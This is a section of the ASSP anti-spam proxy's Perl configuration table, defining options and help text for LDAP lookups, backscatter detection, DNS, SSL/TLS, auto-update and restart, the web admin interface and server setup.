['LDAPHost','LDAP Host(s) <a href="http://apps.sourceforge.net/mediawiki/assp/index.php?title=LDAP" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="LDAP" /></a>',80,\&textinput,'localhost','(\S*)','updateLDAPHost','Enter the DNS-name(s) or IP address(es) of the server(s) that run(s) the <a href="http://ldap.perl.org/FAQ.html">LDAP</a> database. Second entry is backup. For example: localhost. Separate entries with pipes: LDAP-1.domain.com|LDAP-2.domain.com' ],
['DoLDAPSSL','Use SSL with LDAP (ldaps)','0:no|1:SSL|2:TLS',\&listbox,'0','(.*)',undef,'ASSP will use \'ldaps (SSL port 636)\' instead of ldap (port 389) or \'ldaps (TLS over port 389)\'. The Perl module <a href="http://search.cpan.org/search?query=IO::Socket::SSL" rel="external">IO::Socket::SSL</a> must be installed to use SSL or TLS!',undef,undef,'msg007220','msg007221'],
['LDAPtimeout','LDAP Query Timeout',2,\&textinput,15,'(\d+)',undef,'Timeout when connecting to the remote server.'],
['LDAPLogin','LDAP Login',80,\&textinput,'','(.*)',undef,'Most LDAP servers require a login and password before they allow queries.<br />Enter the DN specification for a user with sufficient permissions here.<br />For example: cn=Administrator,cn=Users,DC=yourcompany,DC=com'],
['LDAPPassword','LDAP Password',20,\&textinput,'','(.*)',undef,'Enter the password for the specified LDAP login here.'],
['LDAPVersion','LDAP Version',1,\&textinput,3,'(\d+)',undef,'Enter the version for the specified LDAP here.'],

['ldLDAPRoot','LDAP Root container for Local Domains',80,\&textinput,'','(.*)',undef,'The LDAP lookup will use this container and all sub-containers to match the local domain query.<br />The literal DOMAIN is replaced by the domain part of SMTP recipient (eg. domain.com) during the search.<br />For example: DC=yourcompany,DC=com.<br />If you use DOMAIN here, you must check "LDAP failures return false" below or non local domains will be treated as local. If not defined, LDAPRoot will be used.',undef,undef,'msg009350','msg009351'],
['ldLDAPFilter','LDAP Filter for Local Domains',80,\&textinput,'','(\S*)',undef,'This filter is used to query the LDAP database. This strongly depends on the LDAP structure.<br />The filter must return an entry if the domain must be relayed.<br />The literal DOMAIN (case sensitive) will be replaced by the domain name during the search.<br />'],
['LDAPRoot','LDAP Root container for Local Addresses',80,\&textinput,'','(.*)',undef,'The LDAP lookup will use this container and all sub-containers to match the local email address query.<br />The literal DOMAIN is replaced by the domain part of SMTP recipient (eg. domain.com) during the search.<br />For example: DC=yourcompany,DC=com.<br />If you use DOMAIN here, you must check "LDAP failures return false" below or non local domains will be treated as local.',undef,undef,'msg007270','msg007271'],
['LDAPFilter','LDAP Filter for Local Addresses',80,\&textinput,'','(\S*)',undef,'This filter is used to query the LDAP database. This strongly depends on the LDAP structure.<br />The filter must return an entry if the recipient address matches with that of any user.<br />The literal EMAILADDRESS is replaced by the fully qualified SMTP recipient (eg. user@example.com) during the search.<br />The literal USERNAME (case sensitive) is replaced by the user part of SMTP recipient (eg. user) during the search.<br />The literal DOMAIN (case sensitive) is replaced by the domain part of SMTP recipient (eg. domain.com) during the search.<br />For example: (proxyaddresses=smtp:EMAILADDRESS) or (|(mail=EMAILADDRESS)(mailaddress=EMAILADDRESS))'],
['LDAPcrossCheckInterval','Clean Up local LDAP Database',10,\&textinput,24,'(\d+)',undef,
  'Delete outdated entries from the LDAP cache. Crosscheck LDAP cache to LDAP server and delete not existing entries.<br />
  Note: the current timeout must expire before the new setting is loaded, or you can restart.
  Defaults to 24 hours. Is only used, if ldaplistdb is defined in the filepath section.'],
['forceLDAPcrossCheck','force to run LDAP/VRFY-CrossCheck - now.',0,\&checkbox,'','(.*)','ConfigChangeRunTaskNow','ASSP will force to run a LDAP/VRFY-CrossCheck now!<br />'. "<input type=button value=\"Run Now!\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />&nbsp;<input type=button value=\"Refresh Browser\" onclick=\"document.forms['ASSPconfig'].theButtonRefresh.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />",undef,undef,'msg007320','msg007321'],
['LDAPShowDB','Show local LDAP/VRFY Database',40,\&textinput,'file:ldaplist','(\S*)',undef,'The directory/file with the LDAP/VRFY \'found\' file. If you change ldaplistdb in section Filepath you must change it here too.','','5'],
['LDAPShowNotFound','Show LDAP/VRFY Not Found Cache',40,\&textinput,'file:ldapnotfound','(\S*)',undef,'The directory/file with the LDAP/VRFY \'not found\' file. If you change ldapnotfounddb in section Filepath you must change it here too.','','5'],
['MaxLDAPlistDays','Max LDAP/VRFY cache Days',5,\&textinput,'90','(\d+)',undef,'This is the number of days an address will be kept on the local LDAP cache without any email to this address. 0 disables the cache.'],

['LDAPFail','LDAP failures return false',20,\&checkbox,'','(.*)',undef,'LDAP failures return false when an error occurs in LDAP lookups.<hr /><div class="menuLevel1">Notes On LDAP </div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/ldap.txt\',3);" />'],

[0,0,0,'heading','Backscatter Detection'],
['BounceSenders','Bounce Senders*',80,\&textinput,'mailer-daemon','(.*)','ConfigMakeRe','Envelope sender addresses treated as bounce origins. Null sender (\<\>) is always included.<br />
 Accepts specific addresses (postmaster@example.com), usernames (mailer-daemon), or entire domains (@bounces.domain.com)<br />Separate entries with pipes: |. For example: postmaster|mailer-daemon'],
['DoMSGIDsig','Do Message-ID Signing','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
  'If activated, the message-ID of each outgoing message will be signed with an unique Tag and every incoming mail from BounceSenders will be checked against this. This tagging is called FBMTV for "FBs Message-ID Tag Validation" and is worldwide unique to ASSP. This tag will be removed from any incoming email, to recover the original references in the mail header. Scoring is done  with msigValencePB, Testmode can be set with sigTestMode. <br />
  This check requires an installed Digest::SHA1 module in Perl.'],
['MSGIDsigLog','Enable Message-ID signing logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['MSGIDpreTag','Message-ID pre-Tag for MSGID-TAG-generation',10,\&textinput,'assp','([a-zA-Z0-9]{2,5})',undef,'To use Message-ID signing and to create the MSGID-Tags, a pre-Tag is needed. This Tag must be 2-5 characters [a-z,A-Z,0-9] long.'],
['MSGIDSec','Message-ID Secrets for MSGID-TAG-generation*',80,\&textinput,'0=asspv1','(.*)','configChangeMSGIDSec','To use Message-ID signing and to generate the MSGID-Tags, at least one secret key is needed, up to ten are possible.<br />
  The notation is : generationnumber[0-9]=secretKey. Multiple paires are separated by pipes (|). Do not define spaces, tabs and \'=\' as part of the keys(secrets)!'],

['MSGIDsigAddresses','Do MSGID-Signing For These Addresses Only* ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Only messages from any of these addresses will be tagged and checked by FBMTV. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com). If empty FBMTV will be done for all addresses.'],
['noMSGIDsigRe','Skip Message-ID signing, mail content dependend*',80,\&textinput,'out of officeI|on leave','(.*)','ConfigCompileRe','Use this to skip the Message-ID tagging depending on the content of the email. If the content of the email matches this regular expression (checking MaxBytes only), FBMTV will not be done. For example: \'I am out of office\' .'],
['noRedMSGIDsig','Skip Message-ID signing for Redlisted mails',0,\&checkbox,'1','(.*)',undef,'If selected, FBMTV will not be done for redlisted emails!'],
['DoBackSctr','Do DNS-Backscatter Detection','0:disabled|1:block|2:monitor|3:score|4:testmode',\&listbox,0,'(.*)',undef,
  'If activated, the IP-address of each message received for null sender,bounced or postmaster will be checked against BackSctrServiceProvider below.<br />
   For more information about backscatter detection please read <a href="http://www.backscatterer.org/?target=usage" rel="external">http://www.backscatterer.org/?target=usage</a>.',undef,undef,'msg004880','msg004881'],
['BacksctrLog','Enable DNS-Backscatter detection logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['BackDNSInterval','Backscatter-DNS Cache Refresh Interval',4,\&textinput,7,'(.*)','configUpdateBDNSCR','IP\'s in cache will be removed after this interval in days. 0 will disable the cache. <input type="button" value=" Show Backscatter-DNS Cache" onclick="javascript:popFileEditor(\'pb/pbdb.back.db\',5);" />',undef,undef,'msg004890','msg004891'],
['BackSctrServiceProvider','ServiceProvider for Backscatterer Detection*',60,\&textinput,'ips.backscatterer.org','(.*)','configUpdateBACKSctrSP',
  'ServiceProvider for DNS check on Backscatterer. Possible value is ips.backscatterer.org for DNS check.<hr /><hr /><font color=red>The following configurations are valid for all Backscatter Detection Options!</font><hr />',undef,undef,'msg004900','msg004901'],

['Back250OKISP','Send 250 OK if Backscatter Detection fails','0:disabled|1:To ISP|2:To All',\&listbox,1,'(.*)',undef,'If Backscatter check fails for a bounced mail , ASSP will send "250 OK" , but will discard the mail, if the check is configured to block! \'To ISP\' means sender in ispip. '],

['noBackSctrRe','Regular Expression to Skip all BackScatter Checks*',80,\&textinput,'','(.*)','ConfigCompileRe',
  'If the content of a mail matches these regular expressions, all BackScatter checks will be skipped.'],
['noBackSctrAddresses','Do not Backscatter detection for these Addresses * ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Mail to and from any of these addresses will not be tagged and checked by the backscatter option. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com).'],
['noBackSctrIP','Exclude these IP numbers and Hostnames from any Backscatter detection*',80,\&textinput,'','(\S*)','ConfigMakeIPRe','Enter IP numbers and Hostnames that you want to exclude from FBMTV, separated by pipes (|). <br />
  <hr /><div class="menuLevel1">Notes On Backscatter Detection</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/backscatter.txt\',3);" />'],
[0,0,0,'heading','DNS Setup'],
['UseLocalDNS','Use System Default DNS',0,\&checkbox,'1','(.*)',\&updateUseLocalDNS,'Use system default DNS Name Servers.'],
['DNSResponseLog','Show DNS Name Servers Response Time in Log',0,\&checkbox,'','(.*)',undef,'You can use this to arrange DNSServers for better performance. Put the fastest first.'],
['DNSServers','Overwrite Domain Name Servers*',80,\&textinput,'','(.*)','updateDNS',
 ' Note: UseLocalDNS must be disabled.'],
['DNStimeout','DNS Query Timeout',2,\&textinput,5,'(\d+)',undef,'Global DNS Query Timeout for DNSBL, RWL, URIBL, PTR, SPF, MX and A record lookups.'],
['DNSretry','DNS Query Retry',2,\&textinput,1,'(\d+)',undef,'Global DNS Query Retry. Set the number of times to try the query.'],
['DNSretrans','DNS Query Retrans',2,\&textinput,3,'(\d+)',undef,'Global DNS Query Retransmission Interval. Set the retransmission interval. <br /><hr />
  <div class="menuLevel1">Notes On DNS Setup</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/DNSsetup.txt\',3);" />'],
[0,0,0,'heading','SSL/TLS '],
['enableSSL','Enable TLS support on  listenPorts',0,\&checkbox,'','(.*)','ConfigChangeEnableSSL',

  'This enables STARTTLS on listenPort, listenPort2 and relayPort if the paths to your SSL Certificate ( SSLCertFile ) and SSL Key (SSLKeyFile) are set correctly. If you do not have valid certificates, you may generate both files online with <a href="http://www.mobilefish.com/services/ssl_certificates/ssl_certificates.php" rel="external">www.mobilefish.com</a> or you may use OpenSSL to generate <a href="http://www.mobilefish.com/developer/openssl/openssl_quickguide_self_certificate.html" rel="external">Self-signed SSL certificates</a>!.<span class="negative"> Changing this requires a restart of ASSP.</span>'],
['SSL_version','SSL version used for transmission',20,\&textinput,'SSLv2/3','(SSLv2\/3|SSLv2|SSLv3|TLSv1)','ConfigChangeSSL',
  'Sets the version of the SSL protocol used to transmit data. The default is SSLv2/3,<br />
  which auto-negotiates between SSLv2 and SSLv3. You may specify \'SSLv2\', \'SSLv3\', or \'TLSv1\' (case-insensitive) if you do not want this behavior.',undef,undef,'msg009660','msg009661'],
['SSL_cipher_list','SSL key cipher list',20,\&textinput,'','(.*)','ConfigChangeSSL',
 'If this option is set the cipher list for the connection will be set to the given value, e.g. something like \'ALL:!LOW:!EXP:!ADH\'. Look into the OpenSSL documentation (<a href="http://www.openssl.org/docs/apps/ciphers.html#CIPHER_STRINGS" rel="external">http://www.openssl.org/docs/apps/ciphers.html#CIPHER_STRINGS</a>) for more details.<br />
 If this option is not used (default) the openssl builtin default is used which is suitable for most cases.',undef,undef,'msg009670','msg009671'],
['SSLLog','Enable SSL logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],

['noTLSIP','Exclude these IP numbers and Hostnames from TLS*',80,\&textinput,'file:files/notls.txt','(\S*)','ConfigMakeIPRe','Enter IP numbers and Hostnames that you want to exclude from starting TLS. For example, put all IP numbers here, which have trouble to switch to TLS every time.'],



['NoTLSlistenPorts','Disable SSL support on listenPorts',80,\&textinput,'','(.*)','ConfigChangeTLSPorts',
  'This disables TLS/SSL on the listenPorts listenPort , listenPort2 and relayPort . The listener definition here has to be the same like in the port definitions. Separate multiple entries by "|".<p><small><i>Examples:</i> 25, 127.0.0.1:25, 127.0.0.1:25|127.0.0.2:25 </small></p>',undef,undef,'msg008220','msg008221'],
['sendEHLO','Send EHLO',0,\&checkbox,'','(.*)',undef,
  'If selected, ASSP sends an EHLO even if the client has sent only a HELO. This is useful to force the usage of TLS to the server or to satisfy XCLIENT/XFORWARD helo offers, because EHLO is needed before STARTTLS or XCLIENT/XFORWARD could be used.',undef,undef,'msg008260','msg008261'],
['SSLRetryOnError','Retry TLS on "SSL want a read first" error',0,\&checkbox,1,'(.*)',undef,
  'If selected, ASSP retries 3 times to establish a TLS connection, if the peer was not ready after STARTTLS because of a "SSL want a read/write first" error.'],
['SSLtimeout','SSL Timeout',4,\&textinput,5,'(\d{1,3})',undef,
 'SSL/TLS negotiation will timeout after this many seconds.'],

['SSLCacheExp','TLS Error Cache Refresh Interval',4,\&textinput,0,'([\d\.]+)','configUpdateSSLCR',
  'If a connection fails with \'TSL negotiation with client failed\' or \'Connection idle .. timeout\' the connecting IP will be stored into this cache. ASSP will not offer STARTTLS to IP numbers in the error cache. The entry will be removed after this interval in days. 0 will disable the error cache.  <input type="button" value=" Show TLS Error Cache" onclick="javascript:popFileEditor(\'pb/pbdb.ssl.db\',6);" />'],

['SSLCertFile','SSL Certificate File (PEM format)',48,\&textinput,$dftCertFile,'(\S*)','ConfigChangeSSL',
  "Full path to the file containing the server's SSL certificate, for example : \'/etc/ssl/certs/yourdomain.com.crt\' or \'c:/assp/certs/server-cert.pem\'. A general cert.pem file is already provided in $dftCertFile" ,undef,undef,'msg008230','msg008231'],
['SSLKeyFile','SSL Key File (PEM format)',48,\&textinput,$dftPrivKeyFile,'(\S*)','ConfigChangeSSL',
  "Full path to the file containing the server\'s SSL privat key, for example: \'/etc/ssl/private/yourdomain.com.key\' or \'/usr/local/etc/ssl/certs/assp-key.pem\' or \'c:/assp/certs/server-key.pem\'. A general key.pem file is already provided in $dftPrivKeyFile " ,undef,undef,'msg008240','msg008241'],
['SSLPKPassword','SSL Privat Key Password',48,\&passinput,'','(.*)',undef,
  "Optional parameter. If your privat key ' SSLKeyFile ' is password protected, assp will need this password to decrypt the server\'s SSL privat key file.",undef,undef,'msg009540','msg009541'],
['SSLCaFile','SSL Certificate Authority File',48,\&textinput,'','(\S*)','ConfigChangeSSL',
  "Optional parameter to enable chained certificate validation at the client side. Full path to the file containing the server's SSL certificate authority, for example : /usr/local/etc/ssl/certs/assp-ca.crt or c:/assp/certs/server-ca.crt. A general ca.crt file is already provided in '$dftCaFile'. The default value is empty and leave it empty as long as you don't know, how this parameter works.",undef,undef,'msg009530','msg009531'],
['listenPortSSL','SMTPS Listen Port',20,\&textinput,'465','(.*)','ConfigChangeMailPortSSL',
  'The port number on which ASSP will listen for SMTPS connections. This is only for legacy clients like Eudora. Hint: If you set this port to 465, you must not set "listenPort" or "listenPort2" to 465.
<p><small><i>Examples:</i> 465 </small></p>'],
['EnforceAuthSSL',"Force SMTP AUTH on SMTP Secure Listen Port",0,\&checkbox,'','(.*)',undef,
  'Do not allow clients to connect to listenPortSSL without Authentication. '],
['smtpDestinationSSL','SSL Destination',80,\&textinput,'',$GUIHostPort,undef,
  'The IP <b>address!</b> and port number to connect to when mail is received on the SSL listen port. If the field is blank, the primary SMTP destination will be used. <p><small><i>Examples:</i>127.0.0.1:565, 565</small></p>',undef,undef,'msg000060','msg000061'],
['SSLDEBUG','Debug Level for SSL/TLS','0:no Debug|1:level 1|2:level 2|3:level 3',\&listbox,0,'(.*)',undef,'Set the debug-level for SSL/TLS. Increasing the level will produce more information to STDOUT<hr /><div class="menuLevel1">Notes On SSL Setup</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/ssl.txt\',3);" />'],
  [0,0,0,'heading','Automatic Update / Restart'],
['NoMultipleASSPs','Prevent Multiple ASSP Processes',0,\&checkbox,'1','(.*)',undef,'If set, ASSP will try to find out, if it is already running.'],
['AutoUpdateASSP','Auto Update the Running Script (assp.pl)','0:no auto update|1:download only|2:download and install',\&listbox,'0','(.*)','ConfigChangeAutoUpdate',
 'No action will be done if \'no auto update\' is selected. You\'ll get a hint in the GUI (top) and a log line will be written, if a new version is availabe at the download folder.<br />
  If \'download only\' is selected and a new assp version is available, this new version will be downloaded to the directory ' . $base . '/download (assp.pl) and the syntax will be checked. The still running script will be saved version numbered to the download directory. A Changelog is also downloaded.<br />
  If \'download and install\' is selected, in addition the still running script  will be replaced by the new version. No settings or option files are changedd. Read the Changelog for recommended new option files. <input type="button" value=" Changelog" onclick="return popFileEditor(\'/docs/changelog.txt\',8);" /><br />
  Configure ( AutoRestartAfterCodeChange ), if you want the new version to become the active running script.<br />
  The perl module <a href="http://search.cpan.org/dist/Compress-Zlib/" rel="external">Compress::Zlib</a> is required to use this feature. <input type="button" value=" Auto Update History" onclick="return popFileEditor(\'/notes/updatehistory.txt\',8);" />'],
['AutoUpdateASSPDev','AutoUpdate with Developer Version',0,\&checkbox,'','(.*)',undef,''],
['AutoUpdateNow','Run Auto Update Now',0,\&checkbox,'','(.*)','ConfigChangeRunTaskNow', "If selected, ASSP will run Auto Update. <input type=button value=\"Run Now!\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />&nbsp;<input type=button value=\"Refresh Browser\" onclick=\"document.forms['ASSPconfig'].theButtonRefresh.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />"],
['ForceRestartAfterCodeChange','Enforce Termination on new or changed assp.pl Script' ,0,\&checkbox,'','(.*)',undef,'ASSP will terminate even if AutoRestartCmd is not configured. This is only useful if you run ASSP inside an external loop.'],

['AutoRestartAfterCodeChange','Automatic Restart ASSP on new or changed assp.pl Script',20,\&textinput,'','^(|immed|[1-9]|1[0-9]|2[0-3])$',undef,'If selected, ASSP will restart it self, if it detects a new or changed running script. An automatic restart will be done only, if ASSP runs as a Service on Windows or AutoRestartCmd is configured. Leave this field empty to disable the feature. Possible values are \'immed and 1...23\' . If set to \'immed\', assp will restart within some seconds after a detected code change. If set to \'1...23\' the restart will be scheduled to that hour. A restart at 00:00 is not supported.'],

['AutoRestart','Automatic Restart after Exception',0,\&checkbox,'1','(.*)',undef,'If ASSP detects a main exception and a AutoRestartCmd, it will try to restart itself. '],
['MainloopTimeout','Mainloop Timeout',3,\&textinput,600,'(.*)',undef, 
'Mainloop will timeout after this many seconds.'],
['AutoRestartAfterTimeOut','Automatic Restart after Timeout',0,\&checkbox,'','(.*)',undef,'If ASSP detects a mainloop timeout and a AutoRestartCmd is configured, it will try to restart itself. '],
['AutoRestartCmd','OS-shell command for AutoRestart',100,\&textinput,"$dftrestartcmd",'(.*)',undef,'The OS level shell-command that is used to autorestart ASSP, if it runs not as a service. A possible value for your system is:<br /><font color=blue>'.$dftrestartcmd.'</font>Put a dummy command here <font color=blue>\'cd .\'</font>, if ASSP runs inside an external loop.'.$dftrestartcomment. ''],
['AutoRestartInterval','Restart Interval',5,\&textinput,'0','(.*)',undef,
  'ASSP will automatically terminate and restart after this many hours. Use this setting to periodically reload configuration data, combat potential memory leaks, or perform shutdown/startup processes. This will only work properly if ASSP runs as a Windows service or AutoRestartCmd is configured.<br /><hr /><div class="menuLevel1">Notes On  Automatic Update / Restart</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/updaterestart.txt\',3);" />'],

[0,0,0,'heading','Administration Interface'],
['webAdminPort','Web Admin Port',20,\&textinput,'55555','(.*)','ConfigChangeAdminPort',
  'The port on which ASSP will listen for http connections to the web administration interface. You may also supply an IP address or hostname to limit connections to a specific interface.Separate multiple entries by pipe "|"!<p><small><i>Examples:</i> 55555, 192.168.0.5:12345, myhost:12345, 192.168.0.5:22345|myhost:12345</small></p>'],
['enableWebAdminSSL','Use https instead of http',0,\&checkbox,'','(.*)','ConfigChangeEnableAdminSSL',
 'If selected the web admin interface will be only accessable via https. <span class="positive"> After you click Apply of a change here you must change the URL(to https) on your browser to reconnect</span>.
  This requires an installed IO::Socket::SSL module in PERL.<br />
  A server-certificate-file ( SSLCertFile ) and a server-key-file (SSLKeyFile) must exist and must be valid!<br />
  If you do not have valid certificates, you may generate both files online with <a href="http://www.mobilefish.com/services/ssl_certificates/ssl_certificates.php" rel="external">www.mobilefish.com</a> or you may use OpenSSL to generate <a href="http://www.mobilefish.com/developer/openssl/openssl_quickguide_self_certificate.html" rel="external">Self-signed SSL certificates</a>!',undef,undef,'msg007640','msg007641'],
['webSecondaryPort','Experimental: Web Admin Port for Additional Administration Interface ',20,\&textinput,'22222','(.*)',undef,
  'The port on which a second instance of ASSP will listen for http connections to the web administration interface (instead of 55555). BlockReportHTTPName must be set.'],
['AutostartSecondary','Experimental: Enable AutoStart Secondary ',0,\&checkbox,'','(.*)','ConfigChangeSecondary','This is also used to start/stop the Secondary. Switching this to OFF will terminate the Secondary after some seconds. Switching this to ON will start the Secondary. Sometimes It may be necessary to cleanup AutostartSecondary. Disabling it and enabling it will remove the pid_Secondary and restart the Secondary clean. <input type="button" value=" Secondary PID" onclick="return popFileEditor(\'pid_Secondary\',3);" />'],

['SecondaryCmd','Experimental: OS-shell command for AutoStart Secondary AI',100,\&textinput,'','(.*)',undef,'The OS level shell-command that is used to overwrite the default command for starting ASSP as a secondary administration interface if AutostartSecondary is enabled. The default value for your system is:<br /><font color=blue>'. $startsecondcmd.'</font>'],
['webAdminPassword','Web Admin Password',20,\&passinput,'nospam4me','(.*)','ConfigChangePassword',
  'The password for the web administration interface (minimum of 5 characters, max 8 characters will be used).'],

['allowAdminConnectionsFrom','Only Allow Admin Connections From*',80,\&textinput,'','(\S*)','ConfigMakeIPRe',
  'An optional list of IP addresses and/or hostnames from which you will accept web admin connections. Blank means accept connections from any IP address.<br /> <span class="negative">Note: if you make a mistake here, you may disable your web administration interface and be forced to manually edit your configuration file to fix it.</span><p><small><i>Examples:</i></small></p>
  127.0.0.1|172.16.',undef,'7','msg007660','msg007661'],
['allowLocalHostConnectionsAlways','Enable LocalHost Web Admin Connections',0,\&checkbox,'1','(.*)',undef,'LocalHost web admin connections will be allowed regardless of allowAdminConnectionsFrom'],
 
['webStatPort','Raw Statistics Port',20,\&textinput,55553,'(\S+)','ConfigChangeStatPort',
  'The port on which ASSP will listen for http connections to the statistics interface. You may also supply an IP address to limit connections to a specific interface.<p><small><i>Examples:</i> 55553, 192.168.0.5:12345</small></p>'],
['allowStatConnectionsFrom','Only Allow Raw Statistics Connections From*',80,\&textinput,'127.0.0.1','(.*)','ConfigMakeIPRe',
  'An optional list of IP addresses from which you will accept raw statistical connections. Blank means accept connections from any IP address. <p><small><i>Examples:</i></small></p>
127.0.0.1|172.16.','','7'],
['enableWebStatSSL','Use https instead of http',0,\&checkbox,'','(.*)','ConfigChangeEnableStatSSL',
 'The web stat interface will be only accessable via https.
  This requires an installed IO::Socket::SSL module in PERL.<br />
  A server-certificate-file "certs/server-cert.pem" and a server-key-file "certs/server-key.pem" must exits and must be valid!',undef,undef,'msg007680','msg007681'],

['SaveStatsEvery','Statistics Save Interval',4,\&textinput,'0','(\d+)',undef,
  'This period (in minutes) determines how frequently ASSP statistics are written to a local file.'],

['EnableHTTPCompression','Enable HTTP Compression in GUI',0,\&checkbox,'','(.*)',undef,
  'Enable HTTP Compression for faster web administration interface loading. The perl module <a href="http://search.cpan.org/dist/Compress-Zlib/" rel="external">Compress::Zlib</a> is required to use this feature.'],
['hideAlphaIndex','Hide the Alpha Index Menu Panel in GUI',0,\&checkbox,'','(.*)',undef,
  'Removes the alphanumeric index panel on the left side in the GUI, but the index is accessable by clicking on "Index".'],
['IndexSlideSpeed','Sliding Speed of the Alpha Index Menu Panel in GUI','450:no slide|50:fast|10:normal|5:slow',\&listbox,10,'(.*)',undef,
  'Adjust the sliding speed of the Alpha Index Menu Panel in GUI to your needs.'],
['EnableFloatingMenu','Enable Floating Menu Panel in GUI',0,\&checkbox,'','(.*)',undef,
  'Allow the menu panel on the web administration interface to float (floating Div code taken from <a href="http://www.javascript-fx.com" rel="external">www.javascript-fx.com</a>).'],

['EnableInternalNamesInDesc','Show Internal Names in the GUI',0,\&checkbox,1,'(.*)',undef,
  'Show the internal names in the web interface. The internal names are used in the configuration file (assp.cfg), in the application code, and in the menu bar on the left side of the GUI.',undef,undef,'msg007740','msg007741'],
['MaillogTailJump','Jump to the End of the Maillog',0,\&checkbox,'','(.*)',undef,
  'Causes the browser window to jump to the bottom of the maillog instead of sitting at the top of the display.'],
['MaillogTailBytes','Maillog Tail Bytes',10,\&textinput,10000,'(\d+)',undef,
  'The number of bytes that will be shown when the end of the maillog is viewed. The default value is 10000.'],
['MaillogTailWrap','Maillog Tail Wrap',0,\&checkbox,1,'(.*)',undef,
  'Force maillog lines to wrap if there are too many characters in a line to fit into the window-width. '],
['MaillogTailOrder','Maillog Tail Order',0,\&checkbox,'','(.*)',undef,
  'Reverse the time order of line '],
['MaillogTailColorLine','Maillog Tail Color Line',0,\&checkbox,1,'(.*)',undef,
  'Color alternate lines . <hr />
  <div class="menuLevel1">Notes On Administration Interface</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/ai.txt\',3);" />'],
  
[0,0,0,'heading','Server Setup'],

['MaintenanceLog','Enable Maintenance logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],
['ConsoleCharset','Charset for STDOUT and STDERR',$Charsets,\&listbox,'0','(.*)',undef,
 'Set the characterset for the console output to your local needs. Default is "System Default" - no conversion. Restart is required!'],
['LogCharset','Charset for Maillog',$Charsets,\&listbox,$defaultLogCharset,'(.*)',undef,
 'Set the characterset/codepage for the maillog output to your local needs. Default (and best) on non Windows systems is "UTF-8" if available or "System Default" - no conversion. On Windows systems set it to your local codepage or UTF-8 (chcp 65001). To display nonASCII characters in the subject line and maillog files names setup decodeMIME2UTF8 . <span class=\'negative\'>Restart is required!</span>'],
['decodeMIME2UTF8','Decode MIME Words To UTF-8',1,\&checkbox,'1','(.*)',undef,'If selected, ASSP decodes MIME encoded words to UTF8. This enables support for national languages to be used in Bombs , Scripts , Spamdb , Logging. If not selected, only US-ASCII characters will be used for this functions. This requires an installed Email::MIME::Modifier module in PERL.'],
['AsAService','Run ASSP as a Windows Service',0,\&checkbox,'','(.*)',undef,'In Windows NT/2000/XP/2003 ASSP can be installed as a service. This setting tells ASSP that this has been done -- it does not install the Windows service for you. Installing ASSP as a service requires several steps which are detailed in the <a href="http://apps.sourceforge.net/mediawiki/assp/index.php?title=Win32">Quick Start for Win32</a> doku page.<br /> Information about the Win32::Daemon module which which is necessary can be found here: <a href="http://www.roth.net/perl/Daemon/">The Official Win32::Daemon Home Page</a><br /><span class="negative"> requires ASSP restart</span>'],
['AsADaemon','Run ASSP as a Daemon',0,\&checkbox,'','(.*)',undef,'In Linux/BSD/Unix/OSX fork and exit. Similar to the command "perl assp.pl &amp;", but better.<br />
  <span class="negative"> Changing this requires a restart of ASSP.</span>'],
['runAsUser','Run as UID',20,\&textinput,'','(\S*)',undef,'The *nix user name to assume after startup (*nix only).<p><small><i>Examples:</i> assp, nobody</small></p>
  <span class="negative"> Changing this requires a restart of ASSP.</span>'],
['runAsGroup','Run as GID',20,\&textinput,'','(\S*)',undef,'The *nix group to assume after startup (*nix only).<p><small><i>Examples:</i> assp, nobody</small></p>
  <span class="negative"> Changing this requires a restart of ASSP.</span>'],
['ChangeRoot','Change Root',40,\&textinput,'','(.*)',undef,'The new root directory to which ASSP should chroot (*nix only). If blank, no chroot jail will be used. Note: if you use this feature, be sure to copy or link the etc/protocols file in your chroot jail.<br />
  <span class="negative"> Changing this requires a restart of ASSP.</span>'],
['setFilePermOnStart','Set ASSP File Permission on Startup',0,\&checkbox,'','(.*)',undef,'If set, ASSP sets the permission of all ASSP- files and directories at startup to full (0777) - without any function on windows systems!',undef,undef,'msg007480','msg007481'],
['checkFilePermOnStart','Check ASSP File Permission on Startup',0,\&checkbox,'','(.*)',undef,'If set, ASSP checks the permission of all ASSP- files and directories at startup - all files must be writable for the running job - the minimum permission is 0600 - without any function on windows systems!',undef,undef,'msg007490','msg007491'],
['myName','My Name',40,\&textinput,'ASSP.nospam','(\S+)',undef,'ASSP will identify itself by this name in the email "Received:" header and in the helo when sending report-replies. Usually the fully qualified domain name of the host.<p><small><i>Examples:</i> assp.example.com</small></p>'],
['HideIPandHelo','Hide IP and Helo',0,\&textinput,'ip=127.0.0.1 helo=anyhost.local','(.*)',undef,'replace with these information in our received header for outgoing mails '],
['myHelo','My Helo','0:transparent|1:use myName|2:use Hostname',\&listbox,1,'(\S+)',undef,'How ASSP will identify itself when connecting to the target MTA. 
<br>transparent - the Helo of the sender will be used
<br>use myName - myName will be used
<br>use Hostname - name of host assp is running on, should be a fully qualified FQDN'],
['asspCfg','assp.cfg',40,\&textnoinput,'file:assp.cfg','(.*)','undef','For internal use only : assp.cfg file.'],
